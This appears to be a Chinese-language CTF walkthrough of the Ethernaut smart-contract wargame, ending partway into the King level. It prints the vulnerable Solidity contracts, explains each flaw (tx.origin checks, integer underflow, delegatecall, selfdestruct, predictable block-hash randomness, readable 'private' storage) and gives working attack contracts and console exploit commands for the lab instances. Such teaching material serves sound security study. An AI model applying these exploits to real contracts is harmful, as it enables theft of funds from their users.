尽量一周内更新完
Hello Ethernaut
熟悉操作
await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')
Feedback
直接转账或是调用不存在的函数时会feedback
合约源码如下
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
fallback() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
目标是成为合约的owner然后把钱取走
在 contributions[msg.sender] > 0
时可以通过feedback成为owner
await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
await contract.withdraw()
Fallout
直接上源码
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
要更改owner看似只能通过调用fallout函数,这题误导性极强,事实上源码里根本就不是名为Fallout的构造函数,只是名为Fal1out的普通函数罢了,可以直接调用
await contract.Fal1out()
Coin Flip
目标赢十次翻硬币游戏,合约如下
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
使用前一个块的hash作为随机数源取最高位作为硬币正反面
随机数的生成是智能合约的硬伤,链上的一切都是公开的,包括算法、变量、状态,没有合适的熵源,随机数总是能被预测
这里由于前一个块的hash是可以知晓的,我们只要赶在下一个块出块前完成查看前块hash然后猜硬币即可,这里通过部署一个合约攻击来完成预测和合约交互
把前面的合约复制下来然后通过一个address来实例化从而在合约中交互目标合约
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract Attack {
CoinFlip fliphack;
address instance_address = instance_address_here;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function Attack() {
fliphack = CoinFlip(instance_address);
}
function predict() public view returns (bool){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
return coinFlip == 1 ? true : false;
}
function hack() public {
bool guess = predict();
fliphack.flip(guess);
}
}
部署完调用hack 10次使得 consecutiveWins>=10 即可提交
Telephone
成为owner,源码很简短
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
tx.origin
是交易的发送方msg.sender
是消息的发送方
changOwner要求 tx.origin != msg.sender
即可根据传入得到参数改变owner
这里通过另一个攻击合约调用的方式来交互,则 tx.origin是用户,msg.sender是攻击合约
尝试使用构造方法
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Attack {
Telephone target;
function Attack(address addr){
target = Telephone(addr);
}
function hack() public {
target.changeOwner(msg.sender);
}
}
hack后提交
Token
要求获得比给定20TKN更多的代币
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
require(balances[msg.sender] - _value >= 0);
存在明显的整数溢出,uint是无符号数
这里对外转出大于初始balance就会导致下溢而使得变成很大的正数字
await contract.transfer(contract.address,21)
await contract.balanceOf(player)
Delegation
要求成为owner,源码如下
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
call
外部调用时,上下文是外部合约delegatecall
外部调用时,上下文是调用合约
也就是说delegationcall可以执行外部合约的函数来改变调用合约的state
这里在delegation中通过delegatecall调用delegate里的pwn,更改的是delegation的owner
合约中若是delegatecall的参数可控,攻击者可以执行任意内容操控合约状态
调用合约函数通过method id,也就是data的第一块,规则是keccak256(funcion_name))
取前四字节
可以通过工具获得"pwn()“的method id是0xdd365b8b
或是 https://emn178.github.io/online-tools/keccak_256.html
contract.sendTransaction({data: "0xdd365b8b"});
Force
这关的要求是往一个空合约里转钱使其余额大于0
还给了给tip https://eips.ethereum.org/EIPS/eip-1193#message
pragma solidity ^0.6.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
空合约由于没有payable方法,进来的转账都会被revert掉
但是合约自毁的转账是必须接收的(无处退回)
此外还有创建前预转账和作为挖矿收益地址也可以做到(可操作性不强
pragma solidity ^0.6.0;
contract Force {
function Force() payable public {
}
function ForceSendEther(address _addr) payable public{
selfdestruct(_addr);
}
}
创建完了先直接往合约地址转点eth然后调用合约的ForceSendEther触发自毁转账,收款地址为题目的实例合约地址
https://rinkeby.etherscan.io/address/0x1f818576d54f1a65029376c20a5b16f63f1030a5#internaltx
Vault
目的是使得合约中的 locked=False
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
看到password就想到这些变量都存在公链上,直接看合约创建时的State[1]就是password了
>>> "\x41\x20\x76\x65\x72\x79\x20\x73\x74\x72\x6f\x6e\x67\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x3a\x29"
'A very strong secret password :)'
练习使用remix交互,发送0xec9b5b3a0x412076657279207374726f6e67207365637265742070617373776f7264203a29
后 storage[0] 即 locked = 0
King
这关要求成为new King并且在回收时仍然是king
pragma solidity ^0.6.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}